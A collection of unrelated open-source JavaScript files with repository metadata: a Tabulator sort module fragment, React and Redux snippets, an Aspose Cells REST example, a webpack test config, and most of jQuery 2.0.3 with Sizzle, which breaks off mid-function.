-1; a = a.match(rx); b = b.match(rx); L = a.length > b.length ? b.length : a.length; while (i < L) { a1 = a[i]; b1 = b[i++]; if (a1 !== b1) { if (isFinite(a1) && isFinite(b1)) { if (a1.charAt(0) === "0") a1 = "." + a1; if (b1.charAt(0) === "0") b1 = "." + b1; return a1 - b1; } else return a1 > b1 ? 1 : -1; } } return a.length > b.length; } //fix empty values in position if (alignEmptyValues === "top" && dir === "desc" || alignEmptyValues === "bottom" && dir === "asc") { emptyAlign *= -1; } return emptyAlign; } }; Tabulator.prototype.registerModule("sort", Sort);
extend1994/cdnjs
ajax/libs/tabulator/4.1.4/js/modules/sort.js
JavaScript
mit
12,929
/** * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * * @flow */ export { renderToString, renderToStaticMarkup, renderToNodeStream, renderToStaticNodeStream, version, } from './ReactDOMServerLegacyPartialRendererBrowser';
facebook/react
packages/react-dom/src/server/ReactDOMLegacyServerBrowser.classic.fb.js
JavaScript
mit
369
var utils = require("../utils.js"); var fs = require('fs'); var method = 'PUT'; var input_file = 'sample1.xlsx'; var request_url = 'storage/file/' + input_file; var input_path = getPath(__filename, input_file); var buffer = fs.readFileSync(input_path); UploadFileBinary( method, Sign(request_url), buffer, function (response) { if (response.Status == 'OK') { console.log(input_path, 'has been uploaded'); } var method = "POST"; var request_url = "cells/"+input_file+"/worksheets/Sheet1/cells/clearcontents?range=A1:A6"; var signed_url = Sign(request_url); ProcessCommand( method, signed_url, null, function(response) { console.log(JSON.stringify(response, null, 2)); var method_download = 'GET'; var request_url_download = 'storage/file/' + input_file; var output_file = 'NodejsREST.output.xlsx'; var outputPath = getPath(__filename, output_file); ProcessCommandContent( method_download, Sign(request_url_download), null, function (buffer) { fs.writeFileSync(outputPath, buffer); } ); } ); } );
farooqsheikhpk/Aspose.Cells-for-Cloud
Examples/Node.js/REST/cells/ClearCellContentStyleWorksheet.js
JavaScript
mit
1,387
export default function demo (input: Map<string, number>): Map<number, string> { const converted = new Map(); for (let [key, value] of input) { converted.set(value, key); } return converted; }
codemix/babel-plugin-typecheck
test/fixtures/map-contents.js
JavaScript
mit
204
import { createStore, applyMiddleware, compose } from 'redux'; import thunk from 'redux-thunk'; import DevTools from './containers/DevTools'; import reducer from '../reducers'; const store = createStore( reducer, compose( applyMiddleware(thunk), DevTools.instrument() ) )
existentialism/prettier
tests/functional_composition/redux_compose.js
JavaScript
mit
288
module.exports = { findBundle: function(i, options) { return ["common.js", "main.js"]; } };
EliteScientist/webpack
test/configCases/split-chunks/reuse-chunk-name/test.config.js
JavaScript
mit
96
/*! * jQuery JavaScript Library v2.0.3 -css,-event-alias,-effects,-offset,-dimensions,-deprecated * http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright 2005, 2013 jQuery Foundation, Inc. and other contributors * Released under the MIT license * http://jquery.org/license * * Date: 2013-07-07T17:20Z */ (function( window, undefined ) { // Can't do this because several apps including ASP.NET trace // the stack via arguments.caller.callee and Firefox dies if // you try to trace through "use strict" call chains. (#13335) // Support: Firefox 18+ //"use strict"; var // A central reference to the root jQuery(document) rootjQuery, // The deferred used on DOM ready readyList, // Support: IE9 // For `typeof xmlNode.method` instead of `xmlNode.method !== undefined` core_strundefined = typeof undefined, // Use the correct document accordingly with window argument (sandbox) location = window.location, document = window.document, docElem = document.documentElement, // Map over jQuery in case of overwrite _jQuery = window.jQuery, // Map over the $ in case of overwrite _$ = window.$, // [[Class]] -> type pairs class2type = {}, // List of deleted data cache ids, so we can reuse them core_deletedIds = [], core_version = "2.0.3 -css,-event-alias,-effects,-offset,-dimensions,-deprecated", // Save a reference to some core methods core_concat = core_deletedIds.concat, core_push = core_deletedIds.push, core_slice = core_deletedIds.slice, core_indexOf = core_deletedIds.indexOf, core_toString = class2type.toString, core_hasOwn = class2type.hasOwnProperty, core_trim = core_version.trim, // Define a local copy of jQuery jQuery = function( selector, context ) { // The jQuery object is actually just the init constructor 'enhanced' return new jQuery.fn.init( selector, context, rootjQuery ); }, // Used for matching numbers core_pnum = /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source, // Used for splitting on whitespace core_rnotwhite = /\S+/g, // A simple way to check for HTML strings // Prioritize #id over <tag> to avoid XSS via location.hash (#9521) // Strict HTML recognition (#11290: must start with <) rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/, // Match a standalone tag rsingleTag = /^<(\w+)\s*\/?>(?:<\/\1>|)$/, // Matches dashed string for camelizing rmsPrefix = /^-ms-/, rdashAlpha = /-([\da-z])/gi, // Used by jQuery.camelCase as callback to replace() fcamelCase = function( all, letter ) { return letter.toUpperCase(); }, // The ready event handler and self cleanup method completed = function() { document.removeEventListener( "DOMContentLoaded", completed, false ); window.removeEventListener( "load", completed, false ); jQuery.ready(); }; jQuery.fn = jQuery.prototype = { // The current version of jQuery being used jquery: core_version, constructor: jQuery, init: function( selector, context, rootjQuery ) { var match, elem; // HANDLE: $(""), $(null), $(undefined), $(false) if ( !selector ) { return this; } // Handle HTML strings if ( typeof selector === "string" ) { if ( selector.charAt(0) === "<" && selector.charAt( selector.length - 1 ) === ">" && selector.length >= 3 ) { // Assume that strings that start and end with <> are HTML and skip the regex check match = [ null, selector, null ]; } else { match = rquickExpr.exec( selector ); } // Match html or make sure no context is specified for #id if ( match && (match[1] || !context) ) { // HANDLE: $(html) -> $(array) if ( match[1] ) { context = context instanceof jQuery ? context[0] : context; // scripts is true for back-compat jQuery.merge( this, jQuery.parseHTML( match[1], context && context.nodeType ? context.ownerDocument || context : document, true ) ); // HANDLE: $(html, props) if ( rsingleTag.test( match[1] ) && jQuery.isPlainObject( context ) ) { for ( match in context ) { // Properties of context are called as methods if possible if ( jQuery.isFunction( this[ match ] ) ) { this[ match ]( context[ match ] ); // ...and otherwise set as attributes } else { this.attr( match, context[ match ] ); } } } return this; // HANDLE: $(#id) } else { elem = document.getElementById( match[2] ); // Check parentNode to catch when Blackberry 4.6 returns // nodes that are no longer in the document #6963 if ( elem && elem.parentNode ) { // Inject the element directly into the jQuery object this.length = 1; this[0] = elem; } this.context = document; this.selector = selector; return this; } // HANDLE: $(expr, $(...)) } else if ( !context || context.jquery ) { return ( context || rootjQuery ).find( selector ); // HANDLE: $(expr, context) // (which is just equivalent to: $(context).find(expr) } else { return this.constructor( context ).find( selector ); } // HANDLE: $(DOMElement) } else if ( selector.nodeType ) { this.context = this[0] = selector; this.length = 1; return this; // HANDLE: $(function) // Shortcut for document ready } else if ( jQuery.isFunction( selector ) ) { return rootjQuery.ready( selector ); } if ( selector.selector !== undefined ) { this.selector = selector.selector; this.context = selector.context; } return jQuery.makeArray( selector, this ); }, // Start with an empty selector selector: "", // The default length of a jQuery object is 0 length: 0, toArray: function() { return core_slice.call( this ); }, // Get the Nth element in the matched element set OR // Get the whole matched element set as a clean array get: function( num ) { return num == null ? // Return a 'clean' array this.toArray() : // Return just the object ( num < 0 ? this[ this.length + num ] : this[ num ] ); }, // Take an array of elements and push it onto the stack // (returning the new matched element set) pushStack: function( elems ) { // Build a new jQuery matched element set var ret = jQuery.merge( this.constructor(), elems ); // Add the old object onto the stack (as a reference) ret.prevObject = this; ret.context = this.context; // Return the newly-formed element set return ret; }, // Execute a callback for every element in the matched set. // (You can seed the arguments with an array of args, but this is // only used internally.) each: function( callback, args ) { return jQuery.each( this, callback, args ); }, ready: function( fn ) { // Add the callback jQuery.ready.promise().done( fn ); return this; }, slice: function() { return this.pushStack( core_slice.apply( this, arguments ) ); }, first: function() { return this.eq( 0 ); }, last: function() { return this.eq( -1 ); }, eq: function( i ) { var len = this.length, j = +i + ( i < 0 ? len : 0 ); return this.pushStack( j >= 0 && j < len ? [ this[j] ] : [] ); }, map: function( callback ) { return this.pushStack( jQuery.map(this, function( elem, i ) { return callback.call( elem, i, elem ); })); }, end: function() { return this.prevObject || this.constructor(null); }, // For internal use only. // Behaves like an Array's method, not like a jQuery method. push: core_push, sort: [].sort, splice: [].splice }; // Give the init function the jQuery prototype for later instantiation jQuery.fn.init.prototype = jQuery.fn; jQuery.extend = jQuery.fn.extend = function() { var options, name, src, copy, copyIsArray, clone, target = arguments[0] || {}, i = 1, length = arguments.length, deep = false; // Handle a deep copy situation if ( typeof target === "boolean" ) { deep = target; target = arguments[1] || {}; // skip the boolean and the target i = 2; } // Handle case when target is a string or something (possible in deep copy) if ( typeof target !== "object" && !jQuery.isFunction(target) ) { target = {}; } // extend jQuery itself if only one argument is passed if ( length === i ) { target = this; --i; } for ( ; i < length; i++ ) { // Only deal with non-null/undefined values if ( (options = arguments[ i ]) != null ) { // Extend the base object for ( name in options ) { src = target[ name ]; copy = options[ name ]; // Prevent never-ending loop if ( target === copy ) { continue; } // Recurse if we're merging plain objects or arrays if ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) { if ( copyIsArray ) { copyIsArray = false; clone = src && jQuery.isArray(src) ? src : []; } else { clone = src && jQuery.isPlainObject(src) ? src : {}; } // Never move original objects, clone them target[ name ] = jQuery.extend( deep, clone, copy ); // Don't bring in undefined values } else if ( copy !== undefined ) { target[ name ] = copy; } } } } // Return the modified object return target; }; jQuery.extend({ // Unique for each copy of jQuery on the page expando: "jQuery" + ( core_version + Math.random() ).replace( /\D/g, "" ), noConflict: function( deep ) { if ( window.$ === jQuery ) { window.$ = _$; } if ( deep && window.jQuery === jQuery ) { window.jQuery = _jQuery; } return jQuery; }, // Is the DOM ready to be used? Set to true once it occurs. isReady: false, // A counter to track how many items to wait for before // the ready event fires. See #6781 readyWait: 1, // Hold (or release) the ready event holdReady: function( hold ) { if ( hold ) { jQuery.readyWait++; } else { jQuery.ready( true ); } }, // Handle when the DOM is ready ready: function( wait ) { // Abort if there are pending holds or we're already ready if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) { return; } // Remember that the DOM is ready jQuery.isReady = true; // If a normal DOM Ready event fired, decrement, and wait if need be if ( wait !== true && --jQuery.readyWait > 0 ) { return; } // If there are functions bound, to execute readyList.resolveWith( document, [ jQuery ] ); // Trigger any bound ready events if ( jQuery.fn.trigger ) { jQuery( document ).trigger("ready").off("ready"); } }, // See test/unit/core.js for details concerning isFunction. // Since version 1.3, DOM methods and functions like alert // aren't supported. They return false on IE (#2968). isFunction: function( obj ) { return jQuery.type(obj) === "function"; }, isArray: Array.isArray, isWindow: function( obj ) { return obj != null && obj === obj.window; }, isNumeric: function( obj ) { return !isNaN( parseFloat(obj) ) && isFinite( obj ); }, type: function( obj ) { if ( obj == null ) { return String( obj ); } // Support: Safari <= 5.1 (functionish RegExp) return typeof obj === "object" || typeof obj === "function" ? class2type[ core_toString.call(obj) ] || "object" : typeof obj; }, isPlainObject: function( obj ) { // Not plain objects: // - Any object or value whose internal [[Class]] property is not "[object Object]" // - DOM nodes // - window if ( jQuery.type( obj ) !== "object" || obj.nodeType || jQuery.isWindow( obj ) ) { return false; } // Support: Firefox <20 // The try/catch suppresses exceptions thrown when attempting to access // the "constructor" property of certain host objects, ie. |window.location| // https://bugzilla.mozilla.org/show_bug.cgi?id=814622 try { if ( obj.constructor && !core_hasOwn.call( obj.constructor.prototype, "isPrototypeOf" ) ) { return false; } } catch ( e ) { return false; } // If the function hasn't returned already, we're confident that // |obj| is a plain object, created by {} or constructed with new Object return true; }, isEmptyObject: function( obj ) { var name; for ( name in obj ) { return false; } return true; }, error: function( msg ) { throw new Error( msg ); }, // data: string of html // context (optional): If specified, the fragment will be created in this context, defaults to document // keepScripts (optional): If true, will include scripts passed in the html string parseHTML: function( data, context, keepScripts ) { if ( !data || typeof data !== "string" ) { return null; } if ( typeof context === "boolean" ) { keepScripts = context; context = false; } context = context || document; var parsed = rsingleTag.exec( data ), scripts = !keepScripts && []; // Single tag if ( parsed ) { return [ context.createElement( parsed[1] ) ]; } parsed = jQuery.buildFragment( [ data ], context, scripts ); if ( scripts ) { jQuery( scripts ).remove(); } return jQuery.merge( [], parsed.childNodes ); }, parseJSON: JSON.parse, // Cross-browser xml parsing parseXML: function( data ) { var xml, tmp; if ( !data || typeof data !== "string" ) { return null; } // Support: IE9 try { tmp = new DOMParser(); xml = tmp.parseFromString( data , "text/xml" ); } catch ( e ) { xml = undefined; } if ( !xml || xml.getElementsByTagName( "parsererror" ).length ) { jQuery.error( "Invalid XML: " + data ); } return xml; }, noop: function() {}, // Evaluates a script in a global context globalEval: function( code ) { var script, indirect = eval; code = jQuery.trim( code ); if ( code ) { // If the code includes a valid, prologue position // strict mode pragma, execute code by injecting a // script tag into the document. if ( code.indexOf("use strict") === 1 ) { script = document.createElement("script"); script.text = code; document.head.appendChild( script ).parentNode.removeChild( script ); } else { // Otherwise, avoid the DOM node creation, insertion // and removal by using an indirect global eval indirect( code ); } } }, // Convert dashed to camelCase; used by the css and data modules // Microsoft forgot to hump their vendor prefix (#9572) camelCase: function( string ) { return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase ); }, nodeName: function( elem, name ) { return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase(); }, // args is for internal usage only each: function( obj, callback, args ) { var value, i = 0, length = obj.length, isArray = isArraylike( obj ); if ( args ) { if ( isArray ) { for ( ; i < length; i++ ) { value = callback.apply( obj[ i ], args ); if ( value === false ) { break; } } } else { for ( i in obj ) { value = callback.apply( obj[ i ], args ); if ( value === false ) { break; } } } // A special, fast, case for the most common use of each } else { if ( isArray ) { for ( ; i < length; i++ ) { value = callback.call( obj[ i ], i, obj[ i ] ); if ( value === false ) { break; } } } else { for ( i in obj ) { value = callback.call( obj[ i ], i, obj[ i ] ); if ( value === false ) { break; } } } } return obj; }, trim: function( text ) { return text == null ? "" : core_trim.call( text ); }, // results is for internal usage only makeArray: function( arr, results ) { var ret = results || []; if ( arr != null ) { if ( isArraylike( Object(arr) ) ) { jQuery.merge( ret, typeof arr === "string" ? [ arr ] : arr ); } else { core_push.call( ret, arr ); } } return ret; }, inArray: function( elem, arr, i ) { return arr == null ? -1 : core_indexOf.call( arr, elem, i ); }, merge: function( first, second ) { var l = second.length, i = first.length, j = 0; if ( typeof l === "number" ) { for ( ; j < l; j++ ) { first[ i++ ] = second[ j ]; } } else { while ( second[j] !== undefined ) { first[ i++ ] = second[ j++ ]; } } first.length = i; return first; }, grep: function( elems, callback, inv ) { var retVal, ret = [], i = 0, length = elems.length; inv = !!inv; // Go through the array, only saving the items // that pass the validator function for ( ; i < length; i++ ) { retVal = !!callback( elems[ i ], i ); if ( inv !== retVal ) { ret.push( elems[ i ] ); } } return ret; }, // arg is for internal usage only map: function( elems, callback, arg ) { var value, i = 0, length = elems.length, isArray = isArraylike( elems ), ret = []; // Go through the array, translating each of the items to their if ( isArray ) { for ( ; i < length; i++ ) { value = callback( elems[ i ], i, arg ); if ( value != null ) { ret[ ret.length ] = value; } } // Go through every key on the object, } else { for ( i in elems ) { value = callback( elems[ i ], i, arg ); if ( value != null ) { ret[ ret.length ] = value; } } } // Flatten any nested arrays return core_concat.apply( [], ret ); }, // A global GUID counter for objects guid: 1, // Bind a function to a context, optionally partially applying any // arguments. proxy: function( fn, context ) { var tmp, args, proxy; if ( typeof context === "string" ) { tmp = fn[ context ]; context = fn; fn = tmp; } // Quick check to determine if target is callable, in the spec // this throws a TypeError, but we will just return undefined. if ( !jQuery.isFunction( fn ) ) { return undefined; } // Simulated bind args = core_slice.call( arguments, 2 ); proxy = function() { return fn.apply( context || this, args.concat( core_slice.call( arguments ) ) ); }; // Set the guid of unique handler to the same of original handler, so it can be removed proxy.guid = fn.guid = fn.guid || jQuery.guid++; return proxy; }, // Multifunctional method to get and set values of a collection // The value/s can optionally be executed if it's a function access: function( elems, fn, key, value, chainable, emptyGet, raw ) { var i = 0, length = elems.length, bulk = key == null; // Sets many values if ( jQuery.type( key ) === "object" ) { chainable = true; for ( i in key ) { jQuery.access( elems, fn, i, key[i], true, emptyGet, raw ); } // Sets one value } else if ( value !== undefined ) { chainable = true; if ( !jQuery.isFunction( value ) ) { raw = true; } if ( bulk ) { // Bulk operations run against the entire set if ( raw ) { fn.call( elems, value ); fn = null; // ...except when executing function values } else { bulk = fn; fn = function( elem, key, value ) { return bulk.call( jQuery( elem ), value ); }; } } if ( fn ) { for ( ; i < length; i++ ) { fn( elems[i], key, raw ? value : value.call( elems[i], i, fn( elems[i], key ) ) ); } } } return chainable ? elems : // Gets bulk ? fn.call( elems ) : length ? fn( elems[0], key ) : emptyGet; }, now: Date.now, // A method for quickly swapping in/out CSS properties to get correct calculations. // Note: this method belongs to the css module but it's needed here for the support module. // If support gets modularized, this method should be moved back to the css module. swap: function( elem, options, callback, args ) { var ret, name, old = {}; // Remember the old values, and insert the new ones for ( name in options ) { old[ name ] = elem.style[ name ]; elem.style[ name ] = options[ name ]; } ret = callback.apply( elem, args || [] ); // Revert the old values for ( name in options ) { elem.style[ name ] = old[ name ]; } return ret; } }); jQuery.ready.promise = function( obj ) { if ( !readyList ) { readyList = jQuery.Deferred(); // Catch cases where $(document).ready() is called after the browser event has already occurred. // we once tried to use readyState "interactive" here, but it caused issues like the one // discovered by ChrisS here: http://bugs.jquery.com/ticket/12282#comment:15 if ( document.readyState === "complete" ) { // Handle it asynchronously to allow scripts the opportunity to delay ready setTimeout( jQuery.ready ); } else { // Use the handy event callback document.addEventListener( "DOMContentLoaded", completed, false ); // A fallback to window.onload, that will always work window.addEventListener( "load", completed, false ); } } return readyList.promise( obj ); }; // Populate the class2type map jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "), function(i, name) { class2type[ "[object " + name + "]" ] = name.toLowerCase(); }); function isArraylike( obj ) { var length = obj.length, type = jQuery.type( obj ); if ( jQuery.isWindow( obj ) ) { return false; } if ( obj.nodeType === 1 && length ) { return true; } return type === "array" || type !== "function" && ( length === 0 || typeof length === "number" && length > 0 && ( length - 1 ) in obj ); } // All jQuery objects should point back to these rootjQuery = jQuery(document); /*! * Sizzle CSS Selector Engine v1.9.4-pre * http://sizzlejs.com/ * * Copyright 2013 jQuery Foundation, Inc. and other contributors * Released under the MIT license * http://jquery.org/license * * Date: 2013-06-03 */ (function( window, undefined ) { var i, support, cachedruns, Expr, getText, isXML, compile, outermostContext, sortInput, // Local document vars setDocument, document, docElem, documentIsHTML, rbuggyQSA, rbuggyMatches, matches, contains, // Instance-specific data expando = "sizzle" + -(new Date()), preferredDoc = window.document, dirruns = 0, done = 0, classCache = createCache(), tokenCache = createCache(), compilerCache = createCache(), hasDuplicate = false, sortOrder = function( a, b ) { if ( a === b ) { hasDuplicate = true; return 0; } return 0; }, // General-purpose constants strundefined = typeof undefined, MAX_NEGATIVE = 1 << 31, // Instance methods hasOwn = ({}).hasOwnProperty, arr = [], pop = arr.pop, push_native = arr.push, push = arr.push, slice = arr.slice, // Use a stripped-down indexOf if we can't use a native one indexOf = arr.indexOf || function( elem ) { var i = 0, len = this.length; for ( ; i < len; i++ ) { if ( this[i] === elem ) { return i; } } return -1; }, booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped", // Regular expressions // Whitespace characters http://www.w3.org/TR/css3-selectors/#whitespace whitespace = "[\\x20\\t\\r\\n\\f]", // http://www.w3.org/TR/css3-syntax/#characters characterEncoding = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+", // Loosely modeled on CSS identifier characters // An unquoted value should be a CSS identifier http://www.w3.org/TR/css3-selectors/#attribute-selectors // Proper syntax: http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier identifier = characterEncoding.replace( "w", "w#" ), // Acceptable operators http://www.w3.org/TR/selectors/#attribute-selectors attributes = "\\[" + whitespace + "*(" + characterEncoding + ")" + whitespace + "*(?:([*^$|!~]?=)" + whitespace + "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + identifier + ")|)|)" + whitespace + "*\\]", // Prefer arguments quoted, // then not containing pseudos/brackets, // then attribute selectors/non-parenthetical expressions, // then anything else // These preferences are here to reduce the number of selectors // needing tokenize in the PSEUDO preFilter pseudos = ":(" + characterEncoding + ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" + attributes.replace( 3, 8 ) + ")*)|.*)\\)|)", // Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ), rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ), rcombinators = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*" ), rsibling = new RegExp( whitespace + "*[+~]" ), rattributeQuotes = new RegExp( "=" + whitespace + "*([^\\]'\"]*)" + whitespace + "*\\]", "g" ), rpseudo = new RegExp( pseudos ), ridentifier = new RegExp( "^" + identifier + "$" ), matchExpr = { "ID": new RegExp( "^#(" + characterEncoding + ")" ), "CLASS": new RegExp( "^\\.(" + characterEncoding + ")" ), "TAG": new RegExp( "^(" + characterEncoding.replace( "w", "w*" ) + ")" ), "ATTR": new RegExp( "^" + attributes ), "PSEUDO": new RegExp( "^" + pseudos ), "CHILD": new RegExp( "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i" ), "bool": new RegExp( "^(?:" + booleans + ")$", "i" ), // For use in libraries implementing .is() // We use this for POS matching in `select` "needsContext": new RegExp( "^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" ) }, rnative = /^[^{]+\{\s*\[native \w/, // Easily-parseable/retrievable ID or TAG or CLASS selectors rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, rinputs = /^(?:input|select|textarea|button)$/i, rheader = /^h\d$/i, rescape = /'|\\/g, // CSS escapes http://www.w3.org/TR/CSS21/syndata.html#escaped-characters runescape = new RegExp( "\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig" ), funescape = function( _, escaped, escapedWhitespace ) { var high = "0x" + escaped - 0x10000; // NaN means non-codepoint // Support: Firefox // Workaround erroneous numeric interpretation of +"0x" return high !== high || escapedWhitespace ? escaped : // BMP codepoint high < 0 ? String.fromCharCode( high + 0x10000 ) : // Supplemental Plane codepoint (surrogate pair) String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 ); }; // Optimize for push.apply( _, NodeList ) try { push.apply( (arr = slice.call( preferredDoc.childNodes )), preferredDoc.childNodes ); // Support: Android<4.0 // Detect silently failing push.apply arr[ preferredDoc.childNodes.length ].nodeType; } catch ( e ) { push = { apply: arr.length ? // Leverage slice if possible function( target, els ) { push_native.apply( target, slice.call(els) ); } : // Support: IE<9 // Otherwise append directly function( target, els ) { var j = target.length, i = 0; // Can't trust NodeList.length while ( (target[j++] = els[i++]) ) {} target.length = j - 1; } }; } function Sizzle( selector, context, results, seed ) { var match, elem, m, nodeType, // QSA vars i, groups, old, nid, newContext, newSelector; if ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) { setDocument( context ); } context = context || document; results = results || []; if ( !selector || typeof selector !== "string" ) { return results; } if ( (nodeType = context.nodeType) !== 1 && nodeType !== 9 ) { return []; } if ( documentIsHTML && !seed ) { // Shortcuts if ( (match = rquickExpr.exec( selector )) ) { // Speed-up: Sizzle("#ID") if ( (m = match[1]) ) { if ( nodeType === 9 ) { elem = context.getElementById( m ); // Check parentNode to catch when Blackberry 4.6 returns // nodes that are no longer in the document #6963 if ( elem && elem.parentNode ) { // Handle the case where IE, Opera, and Webkit return items // by name instead of ID if ( elem.id === m ) { results.push( elem ); return results; } } else { return results; } } else { // Context is not a document if ( context.ownerDocument && (elem = context.ownerDocument.getElementById( m )) && contains( context, elem ) && elem.id === m ) { results.push( elem ); return results; } } // Speed-up: Sizzle("TAG") } else if ( match[2] ) { push.apply( results, context.getElementsByTagName( selector ) ); return results; // Speed-up: Sizzle(".CLASS") } else if ( (m = match[3]) && support.getElementsByClassName && context.getElementsByClassName ) { push.apply( results, context.getElementsByClassName( m ) ); return results; } } // QSA path if ( support.qsa && (!rbuggyQSA || !rbuggyQSA.test( selector )) ) { nid = old = expando; newContext = context; newSelector = nodeType === 9 && selector; // qSA works strangely on Element-rooted queries // We can work around this by specifying an extra ID on the root // and working up from there (Thanks to Andrew Dupont for the technique) // IE 8 doesn't work on object elements if ( nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) { groups = tokenize( selector ); if ( (old = context.getAttribute("id")) ) { nid = old.replace( rescape, "\\$&" ); } else { context.setAttribute( "id", nid ); } nid = "[id='" + nid + "'] "; i = groups.length; while ( i-- ) { groups[i] = nid + toSelector( groups[i] ); } newContext = rsibling.test( selector ) && context.parentNode || context; newSelector = groups.join(","); } if ( newSelector ) { try { push.apply( results, newContext.querySelectorAll( newSelector ) ); return results; } catch(qsaError) { } finally { if ( !old ) { context.removeAttribute("id"); } } } } } // All others return select( selector.replace( rtrim, "$1" ), context, results, seed ); } /** * Create key-value caches of limited size * @returns {Function(string, Object)} Returns the Object data after storing it on itself with * property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength) * deleting the oldest entry */ function createCache() { var keys = []; function cache( key, value ) { // Use (key + " ") to avoid collision with native prototype properties (see Issue #157) if ( keys.push( key += " " ) > Expr.cacheLength ) { // Only keep the most recent entries delete cache[ keys.shift() ]; } return (cache[ key ] = value); } return cache; } /** * Mark a function for special use by Sizzle * @param {Function} fn The function to mark */ function markFunction( fn ) { fn[ expando ] = true; return fn; } /** * Support testing using an element * @param {Function} fn Passed the created div and expects a boolean result */ function assert( fn ) { var div = document.createElement("div"); try { return !!fn( div ); } catch (e) { return false; } finally { // Remove from its parent by default if ( div.parentNode ) { div.parentNode.removeChild( div ); } // release memory in IE div = null; } } /** * Adds the same handler for all of the specified attrs * @param {String} attrs Pipe-separated list of attributes * @param {Function} handler The method that will be applied */ function addHandle( attrs, handler ) { var arr = attrs.split("|"), i = attrs.length; while ( i-- ) { Expr.attrHandle[ arr[i] ] = handler; } } /** * Checks document order of two siblings * @param {Element} a * @param {Element} b * @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b */ function siblingCheck( a, b ) { var cur = b && a, diff = cur && a.nodeType === 1 && b.nodeType === 1 && ( ~b.sourceIndex || MAX_NEGATIVE ) - ( ~a.sourceIndex || MAX_NEGATIVE ); // Use IE sourceIndex if available on both nodes if ( diff ) { return diff; } // Check if b follows a if ( cur ) { while ( (cur = cur.nextSibling) ) { if ( cur === b ) { return -1; } } } return a ? 1 : -1; } /** * Returns a function to use in pseudos for input types * @param {String} type */ function createInputPseudo( type ) { return function( elem ) { var name = elem.nodeName.toLowerCase(); return name === "input" && elem.type === type; }; } /** * Returns a function to use in pseudos for buttons * @param {String} type */ function createButtonPseudo( type ) { return function( elem ) { var name = elem.nodeName.toLowerCase(); return (name === "input" || name === "button") && elem.type === type; }; } /** * Returns a function to use in pseudos for positionals * @param {Function} fn */ function createPositionalPseudo( fn ) { return markFunction(function( argument ) { argument = +argument; return markFunction(function( seed, matches ) { var j, matchIndexes = fn( [], seed.length, argument ), i = matchIndexes.length; // Match elements found at the specified indexes while ( i-- ) { if ( seed[ (j = matchIndexes[i]) ] ) { seed[j] = !(matches[j] = seed[j]); } } }); }); } /** * Detect xml * @param {Element|Object} elem An element or a document */ isXML = Sizzle.isXML = function( elem ) { // documentElement is verified for cases where it doesn't yet exist // (such as loading iframes in IE - #4833) var documentElement = elem && (elem.ownerDocument || elem).documentElement; return documentElement ? documentElement.nodeName !== "HTML" : false; }; // Expose support vars for convenience support = Sizzle.support = {}; /** * Sets document-related variables once based on the current document * @param {Element|Object} [doc] An element or document object to use to set the document * @returns {Object} Returns the current document */ setDocument = Sizzle.setDocument = function( node ) { var doc = node ? node.ownerDocument || node : preferredDoc, parent = doc.defaultView; // If no document and documentElement is available, return if ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) { return document; } // Set our document document = doc; docElem = doc.documentElement; // Support tests documentIsHTML = !isXML( doc ); // Support: IE>8 // If iframe document is assigned to "document" variable and if iframe has been reloaded, // IE will throw "permission denied" error when accessing "document" variable, see jQuery #13936 // IE6-8 do not support the defaultView property so parent will be undefined if ( parent && parent.attachEvent && parent !== parent.top ) { parent.attachEvent( "onbeforeunload", function() { setDocument(); }); } /* Attributes ---------------------------------------------------------------------- */ // Support: IE<8 // Verify that getAttribute really returns attributes and not properties (excepting IE8 booleans) support.attributes = assert(function( div ) { div.className = "i"; return !div.getAttribute("className"); }); /* getElement(s)By* ---------------------------------------------------------------------- */ // Check if getElementsByTagName("*") returns only elements support.getElementsByTagName = assert(function( div ) { div.appendChild( doc.createComment("") ); return !div.getElementsByTagName("*").length; }); // Check if getElementsByClassName can be trusted support.getElementsByClassName = assert(function( div ) { div.innerHTML = "<div class='a'></div><div class='a i'></div>"; // Support: Safari<4 // Catch class over-caching div.firstChild.className = "i"; // Support: Opera<10 // Catch gEBCN failure to find non-leading classes return div.getElementsByClassName("i").length === 2; }); // Support: IE<10 // Check if getElementById returns elements by name // The broken getElementById methods don't pick up programatically-set names, // so use a roundabout getElementsByName test support.getById = assert(function( div ) { docElem.appendChild( div ).id = expando; return !doc.getElementsByName || !doc.getElementsByName( expando ).length; }); // ID find and filter if ( support.getById ) { Expr.find["ID"] = function( id, context ) { if ( typeof context.getElementById !== strundefined && documentIsHTML ) { var m = context.getElementById( id ); // Check 